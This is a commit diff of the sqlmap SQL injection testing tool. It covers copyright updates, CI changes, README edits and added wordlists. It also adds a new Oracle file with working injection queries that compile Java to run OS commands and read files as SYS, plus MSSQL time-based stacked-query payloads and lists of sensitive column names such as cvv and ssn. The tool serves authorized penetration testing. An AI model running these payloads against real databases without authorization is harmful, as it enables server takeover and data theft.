Copyright year bump

Some more common Turkish column names.

.pylintrc

@@ -7,7 +7,7 @@
 
 # Python code to execute, usually for sys.path manipulation such as
 # pygtk.require().
-init-hook=
+init-hook="from pylint.config import find_pylintrc; import os, sys; sys.path.append(os.path.dirname(find_pylintrc()))"
 
 # Add files or directories to the blacklist. They should be base names, not
 # paths.
@@ -306,7 +306,7 @@ ignore-mixin-members=yes
 # (useful for modules/projects where namespaces are manipulated during runtime
 # and thus existing member attributes cannot be deduced by static analysis. It
 # supports qualified module names, as well as Unix pattern matching.
-ignored-modules=
+ignored-modules=thirdparty.six.moves
 
 # List of classes names for which member attributes should not be checked
 # (useful for classes with attributes dynamically set). This supports can work

.travis.yml

@@ -1,13 +1,20 @@
 language: python
+jobs:
+    include:
+        - python: 2.6
+          dist: trusty
+        - python: 2.7
+          dist: trusty
+        - python: 3.3
+          dist: trusty
+        - python: 3.6
+          dist: trusty
+        - python: 3.8
+          dist: xenial
 sudo: false
 git:
     depth: 1
-python:
-    - "2.6"
-    - "2.7"
-    - "3.3"
-    - "3.6"
 script:
     - python -c "import sqlmap; import sqlmapapi"
     - python sqlmap.py --smoke
-    - python sqlmap.py --vuln
+    - python sqlmap.py --vuln

LICENSE

@@ -1,7 +1,7 @@
 COPYING -- Describes the terms under which sqlmap is distributed. A copy
 of the GNU General Public License (GPL) is appended to this file.
 
-sqlmap is (C) 2006-2019 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
+sqlmap is (C) 2006-2020 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
 
 This program is free software; you may redistribute and/or modify it under
 the terms of the GNU General Public License as published by the Free

README.md

@@ -1,17 +1,17 @@
-# sqlmap
+# sqlmap ![](https://i.imgur.com/fe85aVR.png)
 
 [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
 
-sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
+sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
 
-**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/scan-website-security-issues/?utm_source=sqlmap.org&utm_medium=banner&utm_campaign=github).**
+**The sqlmap project is currently searching for sponsor(s).**
 
 Screenshots
 ----
 
 ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
 
-You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of features on the wiki.
+You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of the features on the wiki.
 
 Installation
 ----
@@ -36,7 +36,7 @@ To get a list of all options and switches use:
     python sqlmap.py -hh
 
 You can find a sample run [here](https://asciinema.org/a/46601).
-To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
+To get an overview of sqlmap capabilities, a list of supported features, and a description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
 
 Links
 ----
@@ -63,6 +63,7 @@ Translations
 * [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md)
 * [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
 * [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
+* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
 * [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
 * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
 * [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)

data/html/index.html

@@ -0,0 +1,150 @@
+<!DOCTYPE html>
+
+<!-- http://angrytools.com/bootstrap/editor/ -->
+
+<html lang="en">
+<head>
+    <meta charset="utf-8">
+    <meta http-equiv="X-UA-Compatible" content="IE=edge">
+    <meta name="viewport" content="width=device-width, initial-scale=1">
+    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap.min.css" rel="stylesheet">
+    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/css/bootstrap-theme.min.css" rel="stylesheet">
+    
+    <!--[if lt IE 9]><script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script><script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->
+</head>
+<body>
+    <style>
+  #wrapper { width: 100%; }
+
+  #page-wrapper {
+    padding: 0 15px;
+    min-height: 568px;
+    background-color: #fff;
+  }
+
+  @media(min-width:768px) {
+    #page-wrapper {
+      position: inherit;
+      margin: 0 0 0 250px;
+      padding: 0 30px;
+      border-left: 1px solid #e7e7e7;
+    }
+  } 
+
+  .sidebar .sidebar-nav.navbar-collapse { padding-right: 0; padding-left: 0; }
+  .sidebar .sidebar-search { padding: 15px; }
+  .sidebar ul li { border-bottom: 1px solid #e7e7e7; }
+
+  .sidebar ul li a.active { background-color: #eee; }
+
+  .sidebar .arrow { float: right;}
+  .sidebar .fa.arrow:before { content: "f104";}
+  .sidebar .active>a>.fa.arrow:before { content: "f107"; }
+  .sidebar .nav-second-level li,
+  .sidebar .nav-third-level li {
+    border-bottom: 0!important;
+  }
+
+  .sidebar .nav-second-level li a { padding-left: 37px; }
+  .sidebar .nav-third-level li a { padding-left: 52px; }
+
+  @media(min-width:768px) {
+    .sidebar {
+      z-index: 1;
+      position: absolute;
+      width: 250px;
+      margin-top: 51px;
+    }   
+  } 
+</style>
+<div id="wrapper">
+
+  <nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0">
+    <div class="navbar-header">
+      <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
+        <span class="sr-only">Toggle navigation</span>
+        <span class="icon-bar"></span>
+        <span class="icon-bar"></span>
+        <span class="icon-bar"></span>
+      </button>
+      <a class="navbar-brand" href="index.html">sqlmap</a>
+    </div>
+
+    <div class="navbar-default sidebar" role="navigation">
+      <div class="sidebar-nav navbar-collapse">
+        <ul class="nav" id="side-menu">                        
+          <li>
+            <a href="#"><i class="glyphicon glyphicon-home"></i> Options<span class="arrow"></span></a>
+            <ul class="nav nav-second-level">
+              <li><a>Target</a></li>
+              <li><a>Request</a></li>
+              <li><a>Optimization</a></li>
+              <li><a>Injection</a></li>
+              <li><a>Detection</a></li>
+              <li><a>Techniques</a></li>
+              <li><a>Fingerprint</a></li>
+              <li><a>Enumeration</a></li>
+              <li><a>Brute force</a></li>
+              <li><a>User-defined function injection</a></li>
+              <li><a>File system access</a></li>
+              <li><a>Operating system access</a></li>
+              <li><a>Windows registry access</a></li>
+              <li><a>General</a></li>
+              <li><a>Miscellaneous</a></li>
+            </ul> 
+          </li> 
+        </ul>
+      </div>
+    </div>             
+  </nav>
+
+  <div id="page-wrapper"> 
+    <div class="row">
+      <h4>DEMO</h4>
+    </div> 
+  </div>
+</div>
+<script>
+  /*
+ * metismenu - v1.0.3
+ * Easy menu jQuery plugin for Twitter Bootstrap 3
+ * https://github.com/onokumus/metisMenu
+ *
+ * Made by Osman Nuri Okumuş
+ * Under MIT License
+*/
+  !function(a,b,c){function d(b,c){this.element=b,this.settings=a.extend({},f,c),this._defaults=f,this._name=e,this.init()}var e="metisMenu",f={toggle:!0};d.prototype={init:function(){var b=a(this.element),c=this.settings.toggle;this.isIE()<=9?(b.find("li.active").has("ul").children("ul").collapse("show"),b.find("li").not(".active").has("ul").children("ul").collapse("hide")):(b.find("li.active").has("ul").children("ul").addClass("collapse in"),b.find("li").not(".active").has("ul").children("ul").addClass("collapse")),b.find("li").has("ul").children("a").on("click",function(b){b.preventDefault(),a(this).parent("li").toggleClass("active").children("ul").collapse("toggle"),c&&a(this).parent("li").siblings().removeClass("active").children("ul.in").collapse("hide")})},isIE:function(){for(var a,b=3,d=c.createElement("div"),e=d.getElementsByTagName("i");d.innerHTML="<!--[if gt IE "+ ++b+"]><i></i><![endif]-->",e[0];)return b>4?b:a}},a.fn[e]=function(b){return this.each(function(){a.data(this,"plugin_"+e)||a.data(this,"plugin_"+e,new d(this,b))})}}(jQuery,window,document);
+
+  $(function() {
+
+    $('#side-menu').metisMenu();
+
+  });
+
+  //Loads the correct sidebar on window load,
+  //collapses the sidebar on window resize.
+  // Sets the min-height of #page-wrapper to window size
+  $(function() {
+    $(window).bind("load resize", function() {
+      topOffset = 50;
+      width = (this.window.innerWidth > 0) ? this.window.innerWidth : this.screen.width;
+      if (width < 768) {
+        $('div.navbar-collapse').addClass('collapse')
+        topOffset = 100; // 2-row-menu
+      } else {
+        $('div.navbar-collapse').removeClass('collapse')
+      }
+
+      height = (this.window.innerHeight > 0) ? this.window.innerHeight : this.screen.height;
+      height = height - topOffset;
+      if (height < 1) height = 1;
+      if (height > topOffset) {
+        $("#page-wrapper").css("min-height", (height) + "px");
+      }
+    })
+  });
+</script>
+    <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
+    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.0/js/bootstrap.min.js"></script>
+</body>
+</html>

data/procs/oracle/read_file_export_extension.sql

@@ -0,0 +1,4 @@
+SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "OsUtil" as import java.io.*; public class OsUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
+SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) FROM DUAL
+SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function OSREADFILE(filename in varchar2) return varchar2 as language java name ''''''''OsUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) FROM DUAL
+SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('%RANDSTR1%','%RANDSTR2%','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on OSREADFILE to public'''';END;'';END;--','SYS',0,'1',0) FROM DUAL

data/txt/common-columns.txt

@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 id
@@ -474,6 +474,7 @@ module_addr
 flag
 
 # spanish
+
 usuario
 nombre
 contrasena
@@ -486,6 +487,7 @@ tono
 cuna
 
 # german
+
 benutzername
 benutzer
 passwort
@@ -499,6 +501,7 @@ stichwort
 schlusselwort
 
 # french
+
 utilisateur
 usager
 consommateur
@@ -510,6 +513,7 @@ touche
 clef
 
 # italian
+
 utente
 nome
 utilizzatore
@@ -521,17 +525,33 @@ chiavetta
 cifrario
 
 # portuguese
+
 usufrutuario
 chave
 cavilha
 
 # slavic
+
 korisnik
 sifra
 lozinka
 kljuc
 
 # turkish
+
+isim
+ad
+adi
+soyisim
+soyad
+soyadi
+kimlik
+kimlikno
+tckimlikno
+tckimlik
+yonetici
+sil
+silinmis
 numara
 sira
 lokasyon
@@ -547,7 +567,9 @@ ev_adres
 is_adresi
 ev_adresi
 isadresi
+isadres
 evadresi
+evadres
 il
 ilce
 eposta
@@ -605,6 +627,7 @@ kontak
 kontaklar
 
 # List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py)
+
 user
 pass
 cc_number
@@ -828,6 +851,7 @@ xar_name
 xar_pass
 
 # List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
+
 account
 accnts
 accnt
@@ -897,6 +921,7 @@ user_pwd
 user_passwd
 
 # List from hyrax (http://sla.ckers.org/forum/read.php?16,36047)
+
 fld_id
 fld_username
 fld_password
@@ -1049,6 +1074,7 @@ yhmm
 yonghu
 
 # site:br
+
 content_id
 codigo
 geometry
@@ -1305,6 +1331,7 @@ newssummaryauthor
 and_xevento
 
 # site:de
+
 rolle_nr
 standort_nr
 ja
@@ -1467,6 +1494,7 @@ summary_id
 gameid
 
 # site:es
+
 catid
 dni
 prune_id
@@ -1556,6 +1584,7 @@ time_stamp
 bannerid
 
 # site:fr
+
 numero
 id_auteur
 titre
@@ -1607,6 +1636,7 @@ n_dir
 age
 
 # site:ru
+
 dt_id
 subdivision_id
 sub_class_id
@@ -1812,6 +1842,7 @@ language_id
 val
 
 # site:jp
+
 dealer_id
 modify_date
 regist_date
@@ -1943,6 +1974,7 @@ c_commu_topic_id
 c_diary_comment_log_id
 
 # site:it
+
 idcomune
 idruolo
 idtrattamento
@@ -2446,6 +2478,7 @@ client_img
 does_repeat
 
 # site:cn
+
 typeid
 cronid
 advid
@@ -2621,6 +2654,7 @@ disablepostctrl
 fieldname
 
 # site:id
+
 ajar
 akses
 aktif
@@ -2672,9 +2706,23 @@ urut
 waktu
 
 # WebGoat
+
 cookie
 login_count
 
+# https://sqlwiki.netspi.com/attackQueries/dataTargeting/
+
+credit
+card
+pin
+cvv
+pan
+password
+social
+ssn
+account
+confidential
+
 # Misc
 
 u_pass

data/txt/common-outputs.txt

@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 [Banners]

data/txt/common-tables.txt

@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 users
@@ -1618,6 +1618,7 @@ Contributor
 flag
 
 # Various Joomla tables
+
 jos_vm_product_download
 jos_vm_coupons
 jos_vm_product_reviews
@@ -1711,6 +1712,7 @@ publicusers
 cmsusers
 
 # List provided by Anastasios Monachos ([email protected])
+
 blacklist
 cost
 moves
@@ -1762,6 +1764,7 @@ TBLCORPUSERS
 TBLCORPORATEUSERS
 
 # List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py)
+
 tbladmins
 sort
 _wfspro_admin
@@ -2048,6 +2051,7 @@ Login
 Logins
 
 # List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
+
 account
 accnts
 accnt
@@ -2117,6 +2121,7 @@ user_pwd
 user_passwd
 
 # List from hyrax (http://sla.ckers.org/forum/read.php?16,36047)
+
 wsop
 Admin
 Config
@@ -2437,9 +2442,11 @@ Affichage1name
 sb_host_adminAffichage1name
 
 # site:jp
+
 TypesTab
 
 # site:it
+
 utenti
 categorie
 attivita
@@ -2581,6 +2588,7 @@ oil_stats_agents
 SGA_XPLAN_TPL_DBA_INDEXES
 
 # site:fr
+
 Avion
 departement
 Compagnie
@@ -2751,6 +2759,7 @@ spip_ortho_dico
 spip_caches
 
 # site:ru
+
 guestbook
 binn_forum_settings
 binn_forms_templ
@@ -2848,6 +2857,7 @@ binn_path_temps
 order_item
 
 # site:de
+
 tt_content
 kunde
 medien
@@ -3010,6 +3020,7 @@ wp_categories
 chessmessages
 
 # site:br
+
 endereco
 pessoa
 usuarios
@@ -3172,6 +3183,7 @@ LT_CUSTOM2
 LT_CUSTOM3
 
 # site:es
+
 jos_respuestas
 DEPARTAMENTO
 EMPLEADO
@@ -3210,6 +3222,7 @@ grupo
 facturas
 
 # site:cn
+
 url
 cdb_adminactions
 BlockInfo
@@ -3355,6 +3368,7 @@ mymps_mail_sendlist
 mymps_navurl
 
 # site:tr
+
 kullanici
 kullanicilar
 yonetici
@@ -3401,6 +3415,7 @@ kontak
 kontaklar
 
 # List provided by Pedrito Perez ([email protected])
+
 adminstbl
 admintbl
 affiliateUsers
@@ -3415,4 +3430,69 @@ userstbl
 usertbl
 
 # WebGoat
+
 user_data
+
+# https://laurent22.github.io/so-injections/
+
+accounts
+admin
+baza_site
+benutzer
+category
+comments
+company
+credentials
+Customer
+customers
+data
+details
+dhruv_users
+dt_tb
+employees
+events
+forsale
+friends
+giorni
+images
+info
+items
+kontabankowe
+login
+logs
+markers
+members
+messages
+orders
+order_table
+photos
+player
+players
+points
+register
+reports
+rooms
+shells
+signup
+songs
+student
+students
+table
+table2
+tbl_images
+tblproduct
+testv2
+tickets
+topicinfo
+trabajo
+user
+user_auth
+userinfo
+user_info
+userregister
+users
+usuarios
+utenti
+wm_products
+wp_payout_history
+zamowienia

data/txt/keywords.txt

@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml)

data/txt/user-agents.txt

@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # Opera

data/xml/banner/mysql.xml

@@ -1,5 +1,10 @@
 <?xml version="1.0" encoding="UTF-8"?>
 
+<!--
+     References:
+     * https://en.wikipedia.org/wiki/Debian_version_history
+-->
+
 <root>
     <regexp value="^([\d\.\-]+)[\-\_\ ].*">
         <info dbms_version="1"/>
@@ -36,19 +41,27 @@
     </regexp>
 
     <regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+wheezy">
-        <info dbms_version="1" type="Linux" distrib="Debian" release="7.0" codename="wheezy"/>
+        <info dbms_version="1" type="Linux" distrib="Debian" release="7" codename="wheezy"/>
     </regexp>
 
     <regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+jessie">
-        <info dbms_version="1" type="Linux" distrib="Debian" release="8.0" codename="jessie"/>
+        <info dbms_version="1" type="Linux" distrib="Debian" release="8" codename="jessie"/>
     </regexp>
 
     <regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+stretch">
-        <info dbms_version="1" type="Linux" distrib="Debian" release="9.0" codename="stretch"/>
+        <info dbms_version="1" type="Linux" distrib="Debian" release="9" codename="stretch"/>
     </regexp>
 
     <regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+buster">
-        <info dbms_version="1" type="Linux" distrib="Debian" release="10.0" codename="buster"/>
+        <info dbms_version="1" type="Linux" distrib="Debian" release="10" codename="buster"/>
+    </regexp>
+
+    <regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+bullseye">
+        <info dbms_version="1" type="Linux" distrib="Debian" release="11" codename="bullseye"/>
+    </regexp>
+
+    <regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+bookworm">
+        <info dbms_version="1" type="Linux" distrib="Debian" release="12" codename="bookworm"/>
     </regexp>
 
     <regexp value="^([\d\.]+)[\-\_]Debian[\-\_][\d\.]+(sid|unstable)">

data/xml/banner/servlet-engine.xml

@@ -7,6 +7,14 @@
         <info technology="Tomcat" tech_version="1"/>
     </regexp>
 
+    <regexp value="Enhydra Application Server/([\d\.]+)">
+        <info technology="Enhydra" tech_version="1"/>
+    </regexp>
+
+    <regexp value="Jetty/([\d\.]+)">
+        <info technology="Jetty" tech_version="1"/>
+    </regexp>
+
     <regexp value="JSP[\-\_\/\ ]([\d\.]+)">
         <info technology="JSP" tech_version="1"/>
     </regexp>

data/xml/banner/set-cookie.xml

@@ -27,7 +27,7 @@
         <info technology="WebSphere"/>
     </regexp>
 
-    <regexp value="PHPSESSION">
+    <regexp value="PHPSESS">
         <info technology="PHP"/>
     </regexp>
 
@@ -50,4 +50,16 @@
     <regexp value="CFID|CFTOKEN|CFMAGIC|CFGLOBALS">
         <info technology="ColdFusion"/>
     </regexp>
+
+    <regexp value="WebLogicSession">
+        <info technology="WebLogic"/>
+    </regexp>
+
+    <regexp value="MoodleSession">
+        <info technology="Moodle"/>
+    </regexp>
+
+    <regexp value="\bwp_">
+        <info technology="WordPress"/>
+    </regexp>
 </root>

data/xml/banner/x-powered-by.xml

@@ -35,8 +35,12 @@
         <info technology="ASP.NET" type="Windows"/>
     </regexp>
 
-    <regexp value="(JBoss|Tomcat)[\-\_\/\ ]?([\d\.]+)">
-        <info technology="Tomcat" tech_version="2"/>
+    <regexp value="Tomcat[\-\_\/\ ]?([\d\.]+)">
+        <info technology="Tomcat" tech_version="1"/>
+    </regexp>
+
+    <regexp value="JBoss[\-\_\/\ ]?([\d\.]+)">
+        <info technology="JBoss" tech_version="1"/>
     </regexp>
 
     <regexp value="Servlet[\-\_\/\ ]?([\d\.]+)">

data/xml/errors.xml

@@ -7,13 +7,14 @@
         <error regexp="Warning.*?\Wmysqli?_"/>
         <error regexp="MySQLSyntaxErrorException"/>
         <error regexp="valid MySQL result"/>
-        <error regexp="check the manual that corresponds to your (MySQL|MariaDB) server version"/>
+        <error regexp="check the manual that (corresponds to|fits) your (MySQL|MariaDB) server version"/>
         <error regexp="Unknown column '[^ ]+' in 'field list'"/>
         <error regexp="MySqlClient\."/>
         <error regexp="com\.mysql\.jdbc"/>
         <error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/>
         <error regexp="Pdo[./_\\]Mysql"/>
         <error regexp="MySqlException"/>
+        <error regexp="SQLSTATE\[\d+\]: Syntax error or access violation"/>
     </dbms>
 
     <!-- PostgreSQL -->

data/xml/payloads/stacked_queries.xml

@@ -3,7 +3,7 @@
 <root>
     <!-- Stacked queries tests -->
     <test>
-        <title>MySQL &gt; 5.0.11 stacked queries (comment)</title>
+        <title>MySQL &gt;= 5.0.12 stacked queries (comment)</title>
         <stype>4</stype>
         <level>2</level>
         <risk>1</risk>
@@ -19,12 +19,12 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&gt; 5.0.11</dbms_version>
+            <dbms_version>&gt;= 5.0.12</dbms_version>
         </details>
     </test>
 
     <test>
-        <title>MySQL &gt; 5.0.11 stacked queries</title>
+        <title>MySQL &gt;= 5.0.12 stacked queries</title>
         <stype>4</stype>
         <level>3</level>
         <risk>1</risk>
@@ -39,12 +39,12 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&gt; 5.0.11</dbms_version>
+            <dbms_version>&gt;= 5.0.12</dbms_version>
         </details>
     </test>
 
      <test>
-        <title>MySQL &gt; 5.0.11 stacked queries (query SLEEP - comment)</title>
+        <title>MySQL &gt;= 5.0.12 stacked queries (query SLEEP - comment)</title>
         <stype>4</stype>
         <level>3</level>
         <risk>1</risk>
@@ -60,12 +60,12 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&gt; 5.0.11</dbms_version>
+            <dbms_version>&gt;= 5.0.12</dbms_version>
         </details>
     </test>
 
     <test>
-        <title>MySQL &gt; 5.0.11 stacked queries (query SLEEP)</title>
+        <title>MySQL &gt;= 5.0.12 stacked queries (query SLEEP)</title>
         <stype>4</stype>
         <level>4</level>
         <risk>1</risk>
@@ -80,7 +80,7 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&gt; 5.0.11</dbms_version>
+            <dbms_version>&gt;= 5.0.12</dbms_version>
         </details>
     </test>
 
@@ -268,6 +268,28 @@
         </details>
     </test>
 
+    <test>
+        <title>Microsoft SQL Server/Sybase stacked queries (DECLARE - comment)</title>
+        <stype>4</stype>
+        <level>2</level>
+        <risk>1</risk>
+        <clause>1-8</clause>
+        <where>1</where>
+        <vector>;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x</vector>
+        <request>
+            <payload>;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x</payload>
+            <comment>--</comment>
+        </request>
+        <response>
+            <time>[SLEEPTIME]</time>
+        </response>
+        <details>
+            <dbms>Microsoft SQL Server</dbms>
+            <dbms>Sybase</dbms>
+            <os>Windows</os>
+        </details>
+    </test>
+
     <test>
         <title>Microsoft SQL Server/Sybase stacked queries</title>
         <stype>4</stype>
@@ -289,6 +311,27 @@
         </details>
     </test>
 
+    <test>
+        <title>Microsoft SQL Server/Sybase stacked queries (DECLARE)</title>
+        <stype>4</stype>
+        <level>5</level>
+        <risk>1</risk>
+        <clause>1-8</clause>
+        <where>1</where>
+        <vector>;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x</vector>
+        <request>
+            <payload>;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x</payload>
+        </request>
+        <response>
+            <time>[SLEEPTIME]</time>
+        </response>
+        <details>
+            <dbms>Microsoft SQL Server</dbms>
+            <dbms>Sybase</dbms>
+            <os>Windows</os>
+        </details>
+    </test>
+
     <test>
         <title>Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)</title>
         <stype>4</stype>

data/xml/payloads/time_blind.xml

@@ -169,7 +169,7 @@
     </test>
 
     <test>
-        <title>MySQL &lt;= 5.0.11 AND time-based blind (heavy query)</title>
+        <title>MySQL &lt; 5.0.12 AND time-based blind (heavy query)</title>
         <stype>5</stype>
         <level>2</level>
         <risk>2</risk>
@@ -184,12 +184,12 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&lt;= 5.0.11</dbms_version>
+            <dbms_version>&lt; 5.0.12</dbms_version>
         </details>
     </test>
 
     <test>
-        <title>MySQL &lt;= 5.0.11 OR time-based blind (heavy query)</title>
+        <title>MySQL &lt; 5.0.12 OR time-based blind (heavy query)</title>
         <stype>5</stype>
         <level>2</level>
         <risk>3</risk>
@@ -204,12 +204,12 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&lt;= 5.0.11</dbms_version>
+            <dbms_version>&lt; 5.0.12</dbms_version>
         </details>
     </test>
 
     <test>
-        <title>MySQL &lt;= 5.0.11 AND time-based blind (heavy query - comment)</title>
+        <title>MySQL &lt; 5.0.12 AND time-based blind (heavy query - comment)</title>
         <stype>5</stype>
         <level>5</level>
         <risk>2</risk>
@@ -225,12 +225,12 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&lt;= 5.0.11</dbms_version>
+            <dbms_version>&lt; 5.0.12</dbms_version>
         </details>
     </test>
 
     <test>
-        <title>MySQL &lt;= 5.0.11 OR time-based blind (heavy query - comment)</title>
+        <title>MySQL &lt; 5.0.12 OR time-based blind (heavy query - comment)</title>
         <stype>5</stype>
         <level>5</level>
         <risk>3</risk>
@@ -246,7 +246,7 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&lt;= 5.0.11</dbms_version>
+            <dbms_version>&lt; 5.0.12</dbms_version>
         </details>
     </test>
 
@@ -1506,7 +1506,7 @@
     </test>
 
     <test>
-        <title>MySQL &lt;= 5.0.11 time-based blind - Parameter replace (heavy queries)</title>
+        <title>MySQL &lt; 5.0.12 time-based blind - Parameter replace (heavy queries)</title>
         <stype>5</stype>
         <level>4</level>
         <risk>2</risk>
@@ -1521,7 +1521,7 @@
         </response>
         <details>
             <dbms>MySQL</dbms>
-            <dbms_version>&lt;= 5.0.11</dbms_version>
